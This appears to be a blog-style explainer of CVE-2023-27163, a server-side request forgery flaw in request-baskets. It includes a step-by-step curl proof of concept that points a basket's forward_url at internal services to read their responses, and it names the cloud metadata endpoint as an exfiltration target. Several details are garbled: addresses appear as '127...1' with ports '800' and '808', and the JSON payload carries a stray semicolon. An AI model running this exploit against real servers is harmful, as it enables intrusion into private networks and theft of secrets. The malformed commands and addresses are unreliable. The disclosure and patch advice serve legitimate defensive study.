Server-side request forgery (SSRF) is a dangerous vulnerability that can let hackers compromise internal network resources and gather sensitive data — even if your web app doesn’t directly expose them. In 2023, a popular tool called request-baskets was impacted by exactly this kind of bug. Here’s an exclusive look at CVE-2023-27163, how it works, how you can exploit it, and how to fix it.

What Is request-baskets?

Request-baskets is a lightweight, self-hosted tool for capturing HTTP requests. Devs and QA teams love it for testing webhooks or any service that sends HTTP calls — just create a basket, point your webhooks to it, and inspect the results.


## The Vulnerability: SSRF via /api/baskets/{name}

CVE-2023-27163 was discovered in request-baskets up to version 1.2.1. To understand the bug, let’s look at how the API works:

- The endpoint /api/baskets/{name} lets users interact with “baskets” they created. One part of this API allowed users to define custom callback URLs.

Problem: There were NOT enough checks on what URLs you could provide.

Result: An attacker could trick the server into sending requests ANYWHERE on the internal network, or to sensitive external systems.

How The Attack Actually Works

Say the server running request-baskets is on a corporate network, and attackers have no direct access to internal resources (like http://localhost:808/admin or http://internal-company-db/private). With SSRF, the server itself becomes the attacker’s proxy.

Create a basket as a regular (or unauthenticated) user.

2. Configure the callback URL for that basket with a malicious/internal address, like http://127...1:800/admin/info.

Trigger the API endpoint so that the server makes a request to this internal address.

4. Observe the results (possibly getting data, HTTP status, or error responses that shouldn’t be visible externally).

Real Exploit Example: Code Snippet

Here’s a quick proof-of-concept that shows how an attacker could exploit the flaw.

# 1. Create a new basket named "attacker"
curl -X POST http://<request-baskets-host>:<port>/api/baskets/attacker

# 2. Set up the basket's callback URL (with the internal service target)
curl -X PUT http://<request-baskets-host>:<port>/api/baskets/attacker \
     -H 'Content-Type: application/json' \
     -d '{
           "forward_url": "http://127...1:800/private-info";,
           "proxy_response": false,
           "insecure_tls": false,
           "expand_path": false,
           "capacity": 10
         }'

# 3. Trigger the callback (causes the SSRF)
curl -X POST http://<request-baskets-host>:<port>/attacker/some_path

# 4. Review the basket's logs for internal data or evidence of network reachability:
curl http://<request-baskets-host>:<port>/api/baskets/attacker/requests

If the server has access to 127...1:800/private-info, the attacker gets back the response — possibly leaking sensitive data from *internal-only* systems.

What Can Go Wrong? Real-World Scenarios

- Exfiltration: Attackers can read files or secrets from internal metadata services, e.g., cloud providers (http://169.254.169.254/ in AWS, GCP).
- Port scanning: By redirecting callbacks to different addresses, attackers learn which services are exposed.

Official References & Proof

- GitHub Security Advisory
- NVD CVE Entry
- Patch Pull Request

*The vulnerability was fixed after version 1.2.1; if you use an older release, you are at risk!*

How To Patch and Prevent SSRF

1. Upgrade now! Use request-baskets 1.2.2 or later, which fixes this specific SSRF vulnerability.
2. Restrict outbound connections: Use firewalls on your server to block connections to internal addresses and cloud metadata endpoints.
3. Sanitize user-supplied URLs: Always whitelist safe protocols (like HTTPS) and deny access to localhost, private IPs, and reserved ranges.

TL;DR and Takeaway

CVE-2023-27163 is a nasty SSRF bug in a popular testing tool. It was shockingly easy to exploit with a single crafted request, and could let attackers tunnel into your private network. If you’re running an old request-baskets install, patch it immediately—or risk leaking your secrets.

Stay secure! For further details, check out the GitHub advisory and NVD entry.


*If you liked this breakdown, follow for more deep dives into real-world CVEs and web security tips!*

Timeline

Published on: 03/31/2023 20:15:00 UTC
Last modified on: 04/07/2023 01:32:00 UTC